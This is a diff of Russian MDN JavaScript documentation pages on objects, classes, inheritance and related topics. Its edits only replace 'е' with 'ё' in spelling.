      В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закрепленную за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:

      +

      В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закреплённую за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:

      objectName.propertyName
      @@ -30,7 +30,7 @@ myCar.model = "Mustang";
       myCar.year = 1969;
       
      -

      Неопределенные свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).

      +

      Неопределённые свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).

      myCar.color; // undefined
      @@ -58,7 +58,7 @@ myObj[""] = "Even an empty string"; console.log(myObj); -

      Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведенном выше коде, когда ключ obj добавляется в myObj, JavaScript вызывает метод obj.toString () и использует эту результирующую строку в качестве нового ключа.

      +

      Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведённом выше коде, когда ключ obj добавляется в myObj, JavaScript вызывает метод obj.toString () и использует эту результирующую строку в качестве нового ключа.

      Вы также можете получить доступ к свойствам, используя значение строки, которое хранится в переменной:

      @@ -71,7 +71,7 @@ myCar[propertyName] = "Mustang";
      -

      Вы можете пользоваться квадратными скобками в конструкции for...in чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаете в нее сам объект и его имя как аргументы функции:

      +

      Вы можете пользоваться квадратными скобками в конструкции for...in чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаёте в неё сам объект и его имя как аргументы функции:

      function showProps(obj, objName) {
         var result = "";
      @@ -137,12 +137,12 @@ myCar.year = 1969

      Если объект создан при помощи инициализатора объектов на высшем уровне скрипта, то JavaScript интерпретирует объект каждый раз, когда анализирует выражение, содержащее объект, записанный как литерал. Плюс, если пользоваться функцией инициализатором, то он будет создаваться каждый раз, когда функция вызывается.

      -

      Следующая инструкция создает объект и назначает его переменной x, когда выражение cond истинно.

      +

      Следующая инструкция создаёт объект и назначает его переменной x, когда выражение cond истинно.

      if (cond) var x = {hi: "there"};
       
      -

      Следующий пример создает объект myHonda с тремя свойствами. Заметьте, что свойство engine  это также объект со своими собственными свойствами.

      +

      Следующий пример создаёт объект myHonda с тремя свойствами. Заметьте, что свойство engine  это также объект со своими собственными свойствами.

      var myHonda = {
         color: "red",
      @@ -183,7 +183,7 @@ myCar.year = 1969
      var mycar = new Car("Eagle", "Talon TSi", 1993);
       
      -

      Эта инструкция создает объект типа Car со ссылкой mycar и присваивает определенные значения его свойствам. Значением mycar.make станет строка "Eagle", mycar.year  это целое число 1993, и так далее.

      +

      Эта инструкция создаёт объект типа Car со ссылкой mycar и присваивает определённые значения его свойствам. Значением mycar.make станет строка "Eagle", mycar.year  это целое число 1993, и так далее.

      Вы можете создать столько объектов car, сколько нужно, просто вызывая  new. Например:

      @@ -246,11 +246,11 @@ var Animal = { } }; -// Создаем объект Animal +// Создаём объект Animal var animal1 = Object.create(Animal); animal1.displayType(); // Выведет:Invertebrates -// Создаем объект Animal и присваиваем ему type = Fishes +// Создаём объект Animal и присваиваем ему type = Fishes var fish = Object.create(Animal); fish.type = 'Fishes'; fish.displayType(); // Выведет:Fishes @@ -263,13 +263,13 @@ fish.displayType(); // Выведет:Fishes

      В JavaScript 1.0 вы можете сослаться на свойства объекта либо по его имени, либо по его порядковому индексу. В JavaScript 1.1 и позже, если вы изначально определили свойство по имени, вы всегда должны ссылаться на него по его имени, и если вы изначально определили свойство по индексу, то должны ссылаться на него по его индексу.

      -

      Это ограничение налагается когда вы создаете объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом Car ) и когда вы определяете индивидуальные свойства явно (например, myCar.color = "red"). Если вы изначально определили свойство объекта через индекс, например myCar[5] = "25 mpg", то впоследствии сослаться на это свойство можно только так myCar[5].

      +

      Это ограничение налагается когда вы создаёте объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом Car ) и когда вы определяете индивидуальные свойства явно (например, myCar.color = "red"). Если вы изначально определили свойство объекта через индекс, например myCar[5] = "25 mpg", то впоследствии сослаться на это свойство можно только так myCar[5].

      Исключение из правил объекты, отображаемые из HTML, например массив forms. Вы всегда можете сослаться на объекты в этих массивах или используя их индекс (который основывается на порядке появления в HTML документе), или по их именам (если таковые были определены). Например, если второй html-тег <FORM> в документе имеет значение атрибута NAME равное "myForm", вы можете сослаться на эту форму вот так: document.forms[1] или document.forms["myForm"] или document.myForm.

      Определение свойств для типа объекта

      -

      Вы можете добавить свойство к ранее определенному типу объекта воспользовавшись специальным свойством prototype. Через prototype создается свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство color ко всем объектам типа car, а затем присваивая значение свойству color объекта car1.

      +

      Вы можете добавить свойство к ранее определённому типу объекта воспользовавшись специальным свойством prototype. Через prototype создаётся свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство color ко всем объектам типа car, а затем присваивая значение свойству color объекта car1.

      Car.prototype.color = null;
       car1.color = "black";
      @@ -297,7 +297,7 @@ var myObj = {
       
      object.methodname(params);
       
      -

      Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определенных объектов car. Например,

      +

      Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определённых объектов car. Например,

      function displayCar() {
         var result = "A Beautiful " + this.year + " " + this.make
      @@ -359,9 +359,9 @@ car2.displayCar();
       
       

      Определение геттеров и сеттеров

      -

      Геттер (от англ. get - получить)  это метод, который получает значение определенного свойства. Сеттер (от англ. set присвоить)  это метод, который присваивает значение определенному свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определенных вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.

      +

      Геттер (от англ. get - получить)  это метод, который получает значение определённого свойства. Сеттер (от англ. set присвоить)  это метод, который присваивает значение определённому свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определённых вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.

      -

      Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определенном пользователем:

      +

      Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определённом пользователем:

      var o = {
         a: 7,
      @@ -386,7 +386,7 @@ console.log(o.a); // 25
    • o.c — сеттер, который присваивает значение o.a половине значения которое передано в o.c
    -

    Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et propertyName() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определенными именами, используйте метод propertyName() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определёнными именами, используйте метод Object.defineProperty (или его устаревший аналог Object.prototype.__defineGetter__).

    @@ -450,7 +450,7 @@ myobj.b = 12; delete myobj.a; -

    Вы также можете воспользоваться delete чтобы удалить глобальную переменную, если ключевое слово var не было использовано при ее объявлении:

    +

    Вы также можете воспользоваться delete чтобы удалить глобальную переменную, если ключевое слово var не было использовано при её объявлении:

    g = 17;
     delete g;
    @@ -460,25 +460,25 @@ delete g;
     
     

    Сравнение объектов

    -

    В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернет true.

    +

    В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернёт true.

    // Две переменных ссылаются на два объекта с одинаковыми свойствами
     var fruit = {name: 'apple'};
     var fruitbear = {name: 'apple'};
     
    -fruit == fruitbear; // вернет false
    -fruit === fruitbear; // вернет false
    +fruit == fruitbear; // вернёт false +fruit === fruitbear; // вернёт false
    // Две переменные ссылаются на один общий объект
     var fruit = {name: 'apple'};
     var fruitbear = fruit;  // присвоим переменной fruitbear ссылку на объект fruit
     
     // теперь fruitbear и fruit ссылаются на один и тот же объект
    -fruit == fruitbear; // вернет true
    -fruit === fruitbear; // вернет true
    +fruit == fruitbear; // вернёт true +fruit === fruitbear; // вернёт true
    fruit.name = 'grape';
    -console.log(fruitbear);    // вернет { name: "grape" } вместо { name: "apple" }
    +console.log(fruitbear); // вернёт { name: "grape" } вместо { name: "apple" }

    Подробнее смотрите Операторы сравнения.

    diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html index d7c70db6d0..0e29c2efb4 100644 --- a/files/ru/web/javascript/index.html +++ b/files/ru/web/javascript/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript

    JavaScript® (часто просто JS) — это легковесный, интерпретируемый или JIT-компилируемый, объектно-ориентированный язык с {{Glossary("First-class_Function", "функциями первого класса")}}. Наиболее широкое применение находит как язык сценариев веб-страниц, но также используется и в других программных продуктах, например, node.js или Apache CouchDB. JavaScript это {{Glossary("Prototype-based_programming", "прототипно-ориентированный")}}, мультипарадигменный язык с динамической типизацией, который поддерживает объектно-ориентированный, императивный и декларативный (например, функциональное программирование) стили программирования. Подробнее о JavaScript.

    -

    Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвященных Веб-API и DOM.

    +

    Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвящённых Веб-API и DOM.

    Стандартом языка JavaScript является ECMAScript. По состоянию на 2012, все современные браузеры полностью поддерживают ECMAScript 5.1. Старые версии браузеров поддерживают по крайней мере - ECMAScript 3. 17 июня 2015 года состоялся выпуск шестой версии ECMAScript. Эта версия официально называется ECMAScript 2015, которую чаще всего называют ECMAScript 2015 или просто ES2015. С недавнего времени стандарты ECMAScript выпускаются ежегодно. Эта документация относится к последней версии черновика, которой является ECMAScript 2018.

    @@ -47,7 +47,7 @@ translation_of: Web/JavaScript
    Асинхронный JavaScript
    Обсуждение асинхронного JavaScript: почему это так важно, как эта возможность языка может использована для обработки потенциальных блокирующих операций, как, например получение данных с сервера.
    Клиентские (браузерные) веб-API
    -
    Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдете без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространенные API, которые вам встретятся при разработке.
    +
    Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдёте без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространённые API, которые вам встретятся при разработке.

    Руководство по JavaScript

    diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index bf82041c88..5ed538ca47 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain

    Наследование свойств

    Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми собственными свойствами). Каждый объект содержит ссылку на свой объект-прототип.
    - При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведется до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.

    + При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.

    // В этом примере someObject.[[Prototype]] означает прототип someObject.
     // Это упрощённая нотация (описанная в стандарте ECMAScript).
    @@ -209,7 +209,7 @@ var square = new Square(2);

    Одной из частых ошибок является расширение Object.prototype или других базовых прототипов.

    -

    Такой подход называется monkey patching и нарушает принцип инкапсуляции. Несмотря на то, что ранее он использовался в таких широко распространенных фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.

    +

    Такой подход называется monkey patching и нарушает принцип инкапсуляции. Несмотря на то, что ранее он использовался в таких широко распространённых фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.

    Единственным оправданием расширения базовых прототипов могут являться лишь полифилы - эмуляторы новой функциональности (например, Array.forEach) для не поддерживающих её реализаций языка в старых веб-браузерах.

    diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html index 8402d6cecb..70b2b62064 100644 --- a/files/ru/web/javascript/javascript_technologies_overview/index.html +++ b/files/ru/web/javascript/javascript_technologies_overview/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

    Введение

    -

    Если HTML определяет структуру и контент веб-страницы, а CSS задает формат и внешний вид, то JavaScript добавляет интерактивность и создает богатые веб-приложения. 

    +

    Если HTML определяет структуру и контент веб-страницы, а CSS задаёт формат и внешний вид, то JavaScript добавляет интерактивность и создаёт богатые веб-приложения. 

    Однако, под общим термином "JavaScript", в контексте веб-браузера, понимаются несколько очень разных вещей. Одна из них - это базовый язык программирования (ECMAScript), а другая - коллекция Web APIs, включая DOM (Объектно-ориентированная модель документа).

    @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

    Браузерная поддержка

    -

    На октябрь 2016, текущие версии основы веб-браузеров включали ECMAScript 5.1 и ECMAScript 2015, но более старые версии (все еще находящиеся в использовании) реализуют только ECMAScript 5.

    +

    На октябрь 2016, текущие версии основы веб-браузеров включали ECMAScript 5.1 и ECMAScript 2015, но более старые версии (все ещё находящиеся в использовании) реализуют только ECMAScript 5.

    Будущее

    @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

    API по интернационализации

    -

    Спецификация ECMAScript для API по интернационализации - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведется в документации Intl object. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают ее реализацию.

    +

    Спецификация ECMAScript для API по интернационализации - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведётся в документации Intl object. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают её реализацию.

    DOM APIs

    @@ -55,15 +55,15 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
    • Структуру документа, древовидную модель, и архитектуру событий DOM в ядре DOMNodeElementDocumentFragmentDocumentDOMImplementationEventEventTarget, …
    • -
    • Менее строгое определение архитектуры событий DOM, также как и определенные события DOM.
    • +
    • Менее строгое определение архитектуры событий DOM, также как и определённые события DOM.
    • Другие вещи, такие как DOM Traversal и DOM Range.
    -

    С точки зрения ECMAScript, объекты определенные в спецификации DOM называются объектами среды исполнения ("host objects").

    +

    С точки зрения ECMAScript, объекты определённые в спецификации DOM называются объектами среды исполнения ("host objects").

    HTML DOM

    -

    HTML, это язык разметки Web, который определен в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the meaning of elements. The HTML DOM includes such things as the className property on HTML elements, or APIs such as {{ domxref("document.body") }}.

    +

    HTML, это язык разметки Web, который определён в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the meaning of elements. The HTML DOM includes such things as the className property on HTML elements, or APIs such as {{ domxref("document.body") }}.

    The HTML specification also defines restrictions on documents; for example, it requires all children of a ul element, which represents an unordered list, to be li elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.

    @@ -82,4 +82,4 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

    Каждый разработчик сталкивавшийся с DOM понимает как там все безнадёжно. Реализация той иной функциональности может отличаться, а следовательно и поведение. Главной причиной этого послужило то, что само описание спецификации DOM, было недостаточно ясным и подробным для разработчиков браузеров. Кроме того разные производители браузеров добавили несовместимые функциональности в своих браузеры или функциональности перекрывающие друг друга (например модель событий в IE). В данный момент консорциум W3C и частично WHATWG пытаются описать детально поведение тех или иных функций, чтобы улучшить совместимость между браузерами. Следуя этой тенденции, можно надеяться что браузеры улучшат свои реализации основываясь на этих спецификациях.

    -

    Наиболее общий, но возможно не самый надежный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространенные из них это jQuery и prototype.

    +

    Наиболее общий, но возможно не самый надёжный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространённые из них это jQuery и prototype.

    diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html index e96654a789..8d223226ca 100644 --- a/files/ru/web/javascript/language_resources/index.html +++ b/files/ru/web/javascript/language_resources/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Language_Resources ---

    {{JsSidebar}}

    -

    ECMAScript это язык программирования лежащий в основе JavaScript. ECMAScript стандартизирован в спецификации ECMA-262, организацией по стандартам Ecma International . Далее в таблице перечислены утвержденные стандарты ECMAScript:

    +

    ECMAScript это язык программирования лежащий в основе JavaScript. ECMAScript стандартизирован в спецификации ECMA-262, организацией по стандартам Ecma International . Далее в таблице перечислены утверждённые стандарты ECMAScript:

    Table 4.3 Результаты выполнения регулярного выражения
    myRe lastIndexИндекс с которого начнется след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)Индекс с которого начнётся след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.) 5
    {{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}Создает строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.Создаёт строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.
    {{jsxref("String.split", "split")}}
    @@ -59,7 +59,7 @@ translation_of: Web/JavaScript/Language_Resources
    -

    Узнать больше о истории ECMAScript можно на странице википедии посвященной ECMAScript.

    +

    Узнать больше о истории ECMAScript можно на странице википедии посвящённой ECMAScript.

    Вы можете принять участие или просто отслеживать работу над следующей версией стандарта, которая разрабатывается под кодовым названием"Harmony", с помощью публично-доступного вики и es-discuss список рассылки привязанного к ecmascript.org.

    @@ -75,7 +75,7 @@ translation_of: Web/JavaScript/Language_Resources

    Смотри также

    diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index bcdf39cd3d..79aafad29e 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Memory_Management

    Введение

    -

    Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как malloc() и free(). В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется сборкой мусора . Слово "автоматически" является источником путаницы и зачастую создает у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.

    +

    Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как malloc() и free(). В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется сборкой мусора . Слово "автоматически" является источником путаницы и зачастую создаёт у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.

    Жизненный цикл памяти

    diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 7d7fe14e82..ea52fc5371 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -70,7 +70,7 @@ try {

    ValidationError классу не нужен явный (explicit) конструктор, потому что не требуется инициализация. Затем конструктор по умолчанию позаботится о инициализации родительского класса Error переданным ему аргументом.

    -

    Однако, если определен ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя super. К примеру:

    +

    Однако, если определён ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя super. К примеру:

    class ValidationError extends Error {
     
    @@ -109,7 +109,7 @@ try {
     
    class Square extends Polygon {
       constructor(length) {
         // Здесь вызывается конструктор родительского класса,
    -    // в который передается length в качестве аргументов,
    +    // в который передаётся length в качестве аргументов,
         // соответствующим полям width и height класса Polygon
         super(length, length);
         // Заметка: В производном классе, super() должен вызываться перед тем как
    @@ -152,7 +152,7 @@ console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //
     let newInstance = new Square();
     console.log(newInstance.name); //Polygon
    -

    Здесь прототип Square класса изменен, но в то же время constructor предыдущего базового класса Polygon вызывается при создании нового экземпляра Square.

    +

    Здесь прототип Square класса изменён, но в то же время constructor предыдущего базового класса Polygon вызывается при создании нового экземпляра Square.

    Constructors по умолчанию.

    @@ -190,7 +190,7 @@ console.log(newInstance.name); //Polygon

    Совместимость с браузерами

    - +

    {{Compat("javascript.classes.constructor")}}

    diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html index df642e9e23..d774cc72b0 100644 --- a/files/ru/web/javascript/reference/classes/extends/index.html +++ b/files/ru/web/javascript/reference/classes/extends/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Classes/extends
    class Square extends Polygon {
       constructor(length) {
         // Здесь вызывается конструктор родительского класса,
    -    // в который передается свойство length в качестве
    +    // в который передаётся свойство length в качестве
         // аргументов, соответствующих полям width и height,
         // класса Polygon
         super(length, length);
    diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html
    index 8711331ffc..8b64f585f0 100644
    --- a/files/ru/web/javascript/reference/classes/index.html
    +++ b/files/ru/web/javascript/reference/classes/index.html
    @@ -68,7 +68,7 @@ console.log(Rectangle.name);
     
     

    Тело класса и задание методов

    -

    Тело класса — это часть кода, заключенная в фигурные скобки {}. Здесь вы можете объявлять члены класса, такие как методы и конструктор.

    +

    Тело класса — это часть кода, заключённая в фигурные скобки {}. Здесь вы можете объявлять члены класса, такие как методы и конструктор.

    Строгий режим

    @@ -154,7 +154,7 @@ Animal.eat() // класс Animal let eat = Animal.eat; eat(); // undefined
    -

    Если мы напишем этот же код используя классы основанные на функциях, тогда произойдет автоупаковка основанная на значении this, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдет - значение this останется прежним.

    +

    Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении this, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение this останется прежним.

    function Animal() { }
     
    @@ -199,7 +199,7 @@ Rectangle.prototype.prototypeWidth = 25;
     
     

    Публичные поля

    -

    Используя Javascript синтаксис определения полей, приведенный выше пример может быть изменен следующим образом:

    +

    Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:

    class Rectangle {
       height = 0;
    @@ -216,7 +216,7 @@ Rectangle.prototype.prototypeWidth = 25;
     
     

    Приватные поля

    -

    Предыдущий пример может быть изменен следующим образом, используя приватные поля:

    +

    Предыдущий пример может быть изменён следующим образом, используя приватные поля:

    class Rectangle {
       #height = 0;
    @@ -233,7 +233,7 @@ Rectangle.prototype.prototypeWidth = 25;
     

    Приватные поля могут быть объявлены только заранее в объявлении поля.

    -

    Приватные поля не могут быть созданы позже путем присваивания им значения, в отличии от обычных свойств.

    +

    Приватные поля не могут быть созданы позже путём присваивания им значения, в отличии от обычных свойств.

    Более подробно об этом написано в Приватные поля класса.

    @@ -247,13 +247,13 @@ Rectangle.prototype.prototypeWidth = 25; }
    speak() { - console.log(`${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } } class Dog extends Animal { constructor(name) { -  super(name); // вызывает конструктор super класса и передает параметр name +  super(name); // вызывает конструктор super класса и передаёт параметр name }   speak() { @@ -272,7 +272,7 @@ d.speak(); // Митци лает
    this.name = name; } Animal.prototype.speak = function () { - console.log(
    `${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } class Dog extends Animal { @@ -290,7 +290,7 @@ d.speak(); // Митци лает
    var Animal = {
       speak() {
    -    console.log(`${this.name} издает звук.`);
    +    console.log(`${this.name} издаёт звук.`);
       }
     };
     
    @@ -304,7 +304,7 @@ class Dog {
     Object.setPrototypeOf(Dog.prototype, Animal);
     
     let d = new Dog('Митци');
    -d.speak(); // Митци издает звук.
    +d.speak(); // Митци издаёт звук.

    Species

    @@ -332,7 +332,7 @@ console.log(mapped instanceof Array); // true } speak() { - console.log(`${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } } @@ -345,7 +345,7 @@ class Lion extends Cat { let l = new Lion('Фаззи'); l.speak(); -// Фаззи издает звук. +// Фаззи издаёт звук. // Фаззи рычит. @@ -396,7 +396,7 @@ class Bar extends calculatorMixin(randomizerMixin(Foo)) { }

    Повторное определение класа

    -

    Класс не может быть переопределен. Попытка этого приведет к SyntaxError .

    +

    Класс не может быть переопределён. Попытка этого приведёт к SyntaxError .

    Если мы запускаете код в веб браузере, к примеру в Firefox Web Console (Tools > Web Developer > Web Console) и вы используете ('Run') определение класса с одним и тем же именем дважды, вы получите SyntaxError: redeclaration of let ClassName;. (Обсуждение по ошибке можно посмотреть в {{Bug(1428672)}}.) Chrome Developer Tools возвращает сообщение типа Uncaught SyntaxError: Identifier 'ClassName' has already been declared at <anonymous>:1:1.

    diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 78a5d91787..e81a71e738 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -31,7 +31,7 @@ class ClassWithPrivateStaticField {

    Приватные поля доступны в конструкторе класса изнутри самой декларации класса.

    -

    Ограничение статических переменных, вызываемых только статическими методами, все еще сохраняется.

    +

    Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.

    class ClassWithPrivateStaticField {
       static #PRIVATE_STATIC_FIELD
    @@ -139,7 +139,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError
     
     

    Приватные методы экземпляров(instance)

    -

    Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещен также, как у приватных полей класса.

    +

    Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.

    class ClassWithPrivateMethod {
       #privateMethod() {
    diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
    index ea67222e50..b32dc3d2fc 100644
    --- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html
    +++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
    @@ -172,7 +172,7 @@ console.log(instance.publicMethod());
     }

    Внутри методов экземпляра, this ссылается на сам экземпляр.
    - В классах наследниках, super дает доступ к прототипу базового класса, позволяя вызывать его методы.

    + В классах наследниках, super даёт доступ к прототипу базового класса, позволяя вызывать его методы.

    class BaseClass {
       msg = 'hello world';
    diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html
    index 58ea5996c1..f97c9db2f3 100644
    --- a/files/ru/web/javascript/reference/classes/static/index.html
    +++ b/files/ru/web/javascript/reference/classes/static/index.html
    @@ -116,7 +116,7 @@ console.log(tp.triple());
     
     

    Поддержка в браузерах

    - +

    {{Compat("javascript.classes.static")}}

